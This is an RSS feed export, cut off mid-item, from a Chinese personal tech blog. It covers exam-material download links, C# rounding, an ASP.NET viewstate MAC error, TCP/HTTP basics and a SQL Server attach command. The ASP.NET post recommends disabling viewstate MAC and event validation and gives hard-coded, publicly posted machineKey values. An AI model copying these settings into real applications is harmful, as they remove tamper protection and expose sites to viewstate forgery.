<?xml version="1.0" standalone="yes"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>清风的blog - 技术笔记</title><link>http://blog.careff.com/</link><description>优然探索 - </description><generator>RainbowSoft Studio Z-Blog 2.2 Prism Build 140101</generator><language>zh-CN</language><copyright>Copyright (C) 2008-2024 careff.com Inc.,All  Rights Reserved.                    雅虎统计      </copyright><pubDate>Tue, 09 Jun 2026 11:29:48 +0800</pubDate><item><title>2014建筑</title><author>a@b.com (admin)</author><link>http://blog.careff.com/post/399.html</link><pubDate>Mon, 07 Jul 2014 09:36:19 +0800</pubDate><guid>http://blog.careff.com/post/399.html</guid><description><![CDATA[<p>2014管理：<a href="http://pan.baidu.com/share/init?shareid=3322142821&amp;uk=2452658346">http://pan.baidu.com/share/init?shareid=3322142821&amp;uk=2452658346</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 提取密码:tzn1</p><p>2014法规：<a href="http://pan.baidu.com/share/init?shareid=3326864641&amp;uk=2452658346">http://pan.baidu.com/share/init?shareid=3326864641&amp;uk=2452658346</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 提取密码:6s7j</p><p><br />2014经济：<a href="http://pan.baidu.com/share/init?shareid=3330430614&amp;uk=2452658346">http://pan.baidu.com/share/init?shareid=3330430614&amp;uk=2452658346</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 提取密码:xicf</p><p><br />2014建筑：<a href="http://pan.baidu.com/share/init?shareid=3334388485&amp;uk=2452658346">http://pan.baidu.com/share/init?shareid=3334388485&amp;uk=2452658346</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 提取密码:rn2s</p><p><br />2014市政：<a href="http://pan.baidu.com/share/init?shareid=3337771626&amp;uk=2452658346">http://pan.baidu.com/share/init?shareid=3337771626&amp;uk=2452658346</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 提取密码:egc4</p><p><br />2014机电：<a href="http://pan.baidu.com/share/init?shareid=3340970891&amp;uk=2452658346">http://pan.baidu.com/share/init?shareid=3340970891&amp;uk=2452658346</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 提取密码:i49i</p><p><br />2014公路：<a href="http://pan.baidu.com/share/init?shareid=3345971046&amp;uk=2452658346">http://pan.baidu.com/share/init?shareid=3345971046&amp;uk=2452658346</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 提取密码:1cxj</p><p><br />2014水利：<a href="http://pan.baidu.com/share/init?shareid=3349792342&amp;uk=2452658346">http://pan.baidu.com/share/init?shareid=3349792342&amp;uk=2452658346</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 提取密码:498r</p>]]></description><category>技术笔记</category><comments>http://blog.careff.com/post/399.html#comment</comments><wfw:commentRss>http://blog.careff.com/feed.asp?cmt=399</wfw:commentRss></item><item><title>C#中取整和取小数问题</title><author>a@b.com (admin)</author><link>http://blog.careff.com/post/398.html</link><pubDate>Mon, 23 Jun 2014 22:04:34 +0800</pubDate><guid>http://blog.careff.com/post/398.html</guid><description><![CDATA[<pre style="padding-bottom: 0px; widows: 2; text-transform: none; background-color: rgb(241,254,221); text-indent: 0px; margin: 0px 0px 10px; padding-left: 0px; letter-spacing: normal; padding-right: 0px; font: 14px/24px arial, 'courier new', courier, 宋体, monospace; word-wrap: break-word; white-space: pre-wrap; orphans: 2; color: rgb(51,51,51); word-spacing: 0px; padding-top: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" id="best-content-570963135" class="best-text mb-10" accuse="aContent">解答已经补充了，希望可以帮助你。<br />若A=23.56，要想得到 B=23，C=0.56 <br />floor 直接往小的取，比如 floor(-23.56)=-24，floor<img style="z-index: 10000; border-bottom: 0px; position: absolute; border-left: 0px; margin-top: -25px; margin-left: 5px; border-top: 0px; cursor: pointer; border-right: 0px" id="selectsearch-icon" alt="搜索" src="http://img.baidu.com/img/iknow/qb/select-search.png" />(23.56)=23<br />trunc 直接切下整数，比如 trunc(-23.56)=-23, floor(23.56)=23<br />ceil  直接往大的取，比如 ceil(-23.56)=-23， ceil(23.56)=24<br />round 计算四舍五入，比如 round(-23.56)=-24，round(23.56)=24 <br />取整部分利用取整函数就可以；<br />取小数部分就是用原来的数减去取整部分，剩下的就是小数部分了。<br />直接取小数的函数应该是没有的吧，这样可以了吧？</pre><p>&nbsp;</p>]]></description><category>技术笔记</category><comments>http://blog.careff.com/post/398.html#comment</comments><wfw:commentRss>http://blog.careff.com/feed.asp?cmt=398</wfw:commentRss></item><item><title>验证视图状态 MAC 失败。如果此应用程序由网络场或群集承载,请确保&amp;lt;machineKey&amp;gt;</title><author>a@b.com (admin)</author><link>http://blog.careff.com/post/396.html</link><pubDate>Wed, 04 Jun 2014 08:04:47 +0800</pubDate><guid>http://blog.careff.com/post/396.html</guid><description><![CDATA[<h1 class="postTitle" style="white-space: normal; text-transform: none; word-spacing: 0px; float: left; color: rgb(85,85,85); padding-bottom: 10px; text-align: left; padding-top: 0px; font: 12px/1.5em verdana, 'ms song', 宋体, Arial, 微软雅黑, Helvetica, sans-serif; padding-left: 5px; clear: both; margin: 0px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; width: 718px; background-color: rgb(245,248,250); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px"><a id="cb_post_title_url" class="postTitle2" style="font-size: 18px; font-family: 微软雅黑, 黑体, Arial; color: rgb(245,100,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; text-decoration: none; margin: 0px; padding-right: 0px" href="http://www.cnblogs.com/Setme/archive/2012/06/05/2537084.html">验证视图状态 MAC 失败。如果此应用程序由网络场或群集承载,请确保&lt;machineKey&gt;</a></h1><div class="clear" style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(85,85,85); padding-bottom: 0px; text-align: left; padding-top: 0px; font: 12px verdana, 'ms song', 宋体, Arial, 微软雅黑, Helvetica, sans-serif; padding-left: 0px; clear: both; margin: 0px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(245,248,250); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">&nbsp;</div><div class="postBody" style="white-space: normal; border-bottom: black 1px solid; text-transform: none; word-spacing: 0px; color: rgb(85,85,85); padding-bottom: 5px; text-align: left; padding-top: 5px; font: 12px/2 verdana, 'ms song', 宋体, Arial, 微软雅黑, Helvetica, sans-serif; padding-left: 5px; margin: 0px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 2px; background-color: rgb(245,248,250); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px"><div id="cnblogs_post_body" style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px 0px 20px; padding-right: 0px"><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">验证视图状态 MAC 失败。如果此应用程序由网络场或群集承载，请确保 &lt;machineKey&gt; 配置指定了相同的 validationKey 和验证算法。不能在群集中使用 AutoGenerate。<br style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; padding-right: 0px" />说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。<br style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; padding-right: 0px" />异常详细信息: System.Web.HttpException: 验证视图状态 MAC 失败。如果此应用程序由网络场或群集承载，请确保 &lt;machineKey&gt; 配置指定了相同的 validationKey 和验证算法。不能在群集中使用 AutoGenerate。</p><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">分析：</p><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">分析后找到了问题的根源。首先，文章中提到，如果用GridView，并且指定了DataKeyNames属性，则出于安全的理由（因为DataKeyNames指定的字段代表数据的主键，且该主键值需要保存在视图状态中发送到客户端，用户如果篡改主键值，会导致安全问题），GridView会要求加密视图状态。为此会自动在页面表单&lt;/forms&gt;之前添加一个</p><div class="cnblogs_code" style="overflow: auto; font-size: 12px !important; border-top: rgb(204,204,204) 1px solid; font-family: 'Courier New' !important; border-right: rgb(204,204,204) 1px solid; border-bottom: rgb(204,204,204) 1px solid; color: rgb(0,0,0); padding-bottom: 5px; padding-top: 5px; padding-left: 5px; margin: 5px 0px; border-left: rgb(204,204,204) 1px solid; padding-right: 5px; background-color: rgb(245,245,245)"><pre style="word-wrap: break-word; font-size: 12px !important; font-family: 'Courier New' !important; white-space: pre-wrap; padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; padding-right: 0px"><span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&lt;</span><span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(128,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">input</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(255,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">type</span>=<span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&quot;hidden&quot;</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(255,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">name</span>=<span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&quot;__VIEWSTATEENCRYPTED&quot;</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(255,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">id</span>=<span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&quot;__VIEWSTATEENCRYPTED&quot;</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(255,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">value</span>=<span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&quot;&quot;</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">/&gt;</span> </pre></div><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">。</p><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">然而，Atlas的UpdatePanel要求放置在&lt;form&gt;&lt;/form&gt;内部，也就是&lt;/form&gt;之前。这就意味着添加的隐藏input控件没有被放置在UpdatePanel内，而是放置在UpdatePanel和&lt;/form&gt;之间。</p><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">当UpdatePanel更新时，UpdatePanel内部的控件被提交到服务器进行处理（Patrial Rendering），而整个页面并没有被提交。也就是说隐藏的input控件没有随着一起提交。因此服务器并不知道提交的ViewState被加密了，从而导致MAC验证错误。</p><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">解决方法有二，仅供参考：</p><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">1.可以在当前页面的&lt;page ...&gt;里加两个属性：<br style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; padding-right: 0px" />enableEventValidation=&quot;false&quot; viewStateEncryptionMode =&quot;Never&quot;</p><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">2.当然还可以在web.config里加入：（&lt;system.web&gt;之间）</p><div class="cnblogs_code" style="overflow: auto; font-size: 12px !important; border-top: rgb(204,204,204) 1px solid; font-family: 'Courier New' !important; border-right: rgb(204,204,204) 1px solid; border-bottom: rgb(204,204,204) 1px solid; color: rgb(0,0,0); padding-bottom: 5px; padding-top: 5px; padding-left: 5px; margin: 5px 0px; border-left: rgb(204,204,204) 1px solid; padding-right: 5px; background-color: rgb(245,245,245)"><pre style="word-wrap: break-word; font-size: 12px !important; font-family: 'Courier New' !important; white-space: pre-wrap; padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; padding-right: 0px"><span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&lt;</span><span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(128,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">pages</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(255,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">enableEventValidation</span>=<span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&quot;false&quot;</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(255,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">viewStateEncryptionMode</span> =<span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&quot;Never&quot;</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">/&gt;</span></pre></div><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">其余方法&nbsp;&nbsp;&nbsp;</p><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">在web.config中的pages节点上添加enableviewstatemac=false&nbsp;</p><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">附带：</p><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一般而言是因为你的某些操作修改了视图状态，我猜测你可能使用了ajax并在客户端用javascript动态添加了某些项</p><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">1. 在出错页面的 &lt;%@ page %&gt;中加enableviewstatemac=&quot;false&quot;无效。<span class="Apple-converted-space">&nbsp;</span><br style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; padding-right: 0px" />2. 在web.config的 &lt;system.web&gt;节中加</p><div class="cnblogs_code" style="overflow: auto; font-size: 12px !important; border-top: rgb(204,204,204) 1px solid; font-family: 'Courier New' !important; border-right: rgb(204,204,204) 1px solid; border-bottom: rgb(204,204,204) 1px solid; color: rgb(0,0,0); padding-bottom: 5px; padding-top: 5px; padding-left: 5px; margin: 5px 0px; border-left: rgb(204,204,204) 1px solid; padding-right: 5px; background-color: rgb(245,245,245)"><pre style="word-wrap: break-word; font-size: 12px !important; font-family: 'Courier New' !important; white-space: pre-wrap; padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; padding-right: 0px"><span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&lt;</span><span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(128,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">machineKey</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(255,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">validationKey</span>=<span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&quot;3FF1E929BC0534950B0920A7B59FA698BD02DFE8&quot;</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(255,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">decryptionKey</span>=<span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&quot;280450BB36319B474C996B506A95AEDF9B51211B1D2B7A77&quot;</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(255,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">decryption</span>=<span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&quot;3DES&quot;</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(255,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">validation</span>=<span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&quot;SHA1&quot;</span><span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">/&gt;</span></pre></div><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">我的问题是加入：</p><div class="cnblogs_code" style="overflow: auto; font-size: 12px !important; border-top: rgb(204,204,204) 1px solid; font-family: 'Courier New' !important; border-right: rgb(204,204,204) 1px solid; border-bottom: rgb(204,204,204) 1px solid; color: rgb(0,0,0); padding-bottom: 5px; padding-top: 5px; padding-left: 5px; margin: 5px 0px; border-left: rgb(204,204,204) 1px solid; padding-right: 5px; background-color: rgb(245,245,245)"><pre style="word-wrap: break-word; font-size: 12px !important; font-family: 'Courier New' !important; white-space: pre-wrap; padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; padding-right: 0px"><span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&lt;</span><span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(128,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">machineKey</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(255,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">validationKey</span>=<span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&quot;d41d8cd98f00b204e9800998ecf8427e0e5798a7e2c46b2fd4f0277bceaf08e1&quot;</span> <span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(255,0,0); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">validation</span>=<span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">&quot;SHA1&quot;</span><span style="font-size: 12px !important; font-family: 'Courier New' !important; color: rgb(0,0,255); padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; line-height: 1.5 !important; padding-right: 0px">/&gt;</span> </pre></div><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">解决</p><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">最重要的是检查自己的页面，很可能是你的页面中的问题，多注意下，肯定能发现问题，而这个问题并没有报出你想要的错误 ！！！&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p style="padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 10px auto; padding-right: 0px; text-indent: 0px">所以，不一定所有的解决方案都适合你！！！</p></div></div>]]></description><category>技术笔记</category><comments>http://blog.careff.com/post/396.html#comment</comments><wfw:commentRss>http://blog.careff.com/feed.asp?cmt=396</wfw:commentRss></item><item><title>android中Http和Socket连接的区别？</title><author>a@b.com (admin)</author><link>http://blog.careff.com/post/394.html</link><pubDate>Mon, 19 May 2014 14:00:22 +0800</pubDate><guid>http://blog.careff.com/post/394.html</guid><description><![CDATA[<p><strong><font size="3">Tcp连接:<br /></font></strong><span style="white-space: normal; text-transform: none; word-spacing: 0px; float: none; color: rgb(0,0,0); text-align: left; font: 14px/26px Arial; orphans: 2; widows: 2; display: inline !important; letter-spacing: normal; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">手机能够使用联网功能是因为手机底层实现了TCP/IP协议，可以使手机通过无线网络建立TCP连接。</span><br style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(0,0,0); text-align: left; font: 14px/26px Arial; orphans: 2; widows: 2; letter-spacing: normal; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" /><span style="white-space: normal; text-transform: none; word-spacing: 0px; float: none; color: rgb(0,0,0); text-align: left; font: 14px/26px Arial; orphans: 2; widows: 2; display: inline !important; letter-spacing: normal; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">建立一个TCP连接需要经过&ldquo;三次握手&rdquo;，具体如下：</span><br style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(0,0,0); text-align: left; font: 14px/26px Arial; orphans: 2; widows: 2; letter-spacing: normal; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" /><span style="white-space: normal; text-transform: none; word-spacing: 0px; float: none; color: rgb(0,0,0); text-align: left; font: 14px/26px Arial; orphans: 2; widows: 2; display: inline !important; letter-spacing: normal; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">第一次握手：客户端发送请求包到服务器，等待服务器确认</span><br style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(0,0,0); text-align: left; font: 14px/26px Arial; orphans: 2; widows: 2; letter-spacing: normal; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" /><span style="white-space: normal; text-transform: none; word-spacing: 0px; float: none; color: rgb(0,0,0); text-align: left; font: 14px/26px Arial; orphans: 2; widows: 2; display: inline !important; letter-spacing: normal; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">第二次握手：服务器响应客户端请求，同时也发送一个回应包给客户端</span><br style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(0,0,0); text-align: left; font: 14px/26px Arial; orphans: 2; widows: 2; letter-spacing: normal; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" /><span style="white-space: normal; text-transform: none; word-spacing: 0px; float: none; color: rgb(0,0,0); text-align: left; font: 14px/26px Arial; orphans: 2; widows: 2; display: inline !important; letter-spacing: normal; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">第三次握手：客户端收到服务器的回应包后，向服务器发送确认包</span></p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(0,0,0); padding-bottom: 0px; text-align: left; padding-top: 0px; font: 14px/26px Arial; padding-left: 0px; margin: 0px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">握手过程中传送的包里，不包含数据，三次握手完毕后，客户端与服务端才正式的开始传递数据。<br />TCP一旦连接起来，在客户端和服务端任何一方主动关闭连接之前，TCP连接都将被一直保持下去。<br />断开连接时，服务器和客户端都可以主动发起断开TCP连接的请求，断开过程需要经过&ldquo;四次握手&rdquo;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(0,0,0); padding-bottom: 0px; text-align: left; padding-top: 0px; font: 14px/26px Arial; padding-left: 0px; margin: 0px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px"><strong>Http连接：<br /></strong>Http协议是建立在TCP协议之上的一种应用。它与TCP连接不同之处在于，客户端每次请求都需要服务器<br />返回响应，在请求结束后，会主动释放连接。由于HTTP每次请求都会释放连接，因为HTTP连接是一种&ldquo;短连接&rdquo;，所<br />以要保持客户端在线状态，就必须不停地向服务器发起连接请求。所以在开发过程中，即使不需要获得任何数据，<br />客户端也要保持每隔一段时间向服务器发送一次请求，以保证通信的正常。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(0,0,0); padding-bottom: 0px; text-align: left; padding-top: 0px; font: 14px/26px Arial; padding-left: 0px; margin: 0px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px"><br /><strong>Socket连接：<br /></strong>Socket是通信的基石，是支持TCP/IP协议的网络通信的基本操作单元。<br />建立Socket连接需要一对套接字，其中一个运行客户端，另一个运行服务器端，套接字之间的连接过程分为<br />三个步骤：服务器监听，客户端请求，连接确认。</p>]]></description><category>技术笔记</category><comments>http://blog.careff.com/post/394.html#comment</comments><wfw:commentRss>http://blog.careff.com/feed.asp?cmt=394</wfw:commentRss></item><item><title>SQL2000无日志恢复数据库，已经测试非常好用</title><author>a@b.com (admin)</author><link>http://blog.careff.com/post/393.html</link><pubDate>Fri, 16 May 2014 09:58:01 +0800</pubDate><guid>http://blog.careff.com/post/393.html</guid><description><![CDATA[<p>EXEC&nbsp;&nbsp; sp_attach_single_file_db&nbsp;&nbsp; @dbname&nbsp;&nbsp; = 'AutoWeb',&nbsp;&nbsp; <br />@physname = 'F:\DataBase\2012\AutoWeb_Data.MDF'</p>]]></description><category>技术笔记</category><comments>http://blog.careff.com/post/393.html#comment</comments><wfw:commentRss>http://blog.careff.com/feed.asp?cmt=393</wfw:commentRss></item><item><title>继续讲讲怎么自己编写QQ（自编QQ铺垫篇之三）</title><author>a@b.com (admin)</author><link>http://blog.careff.com/post/392.html</link><pubDate>Wed, 14 May 2014 10:28:46 +0800</pubDate><guid>http://blog.careff.com/post/392.html</guid><description><![CDATA[<p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">这篇是关于C++入门。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 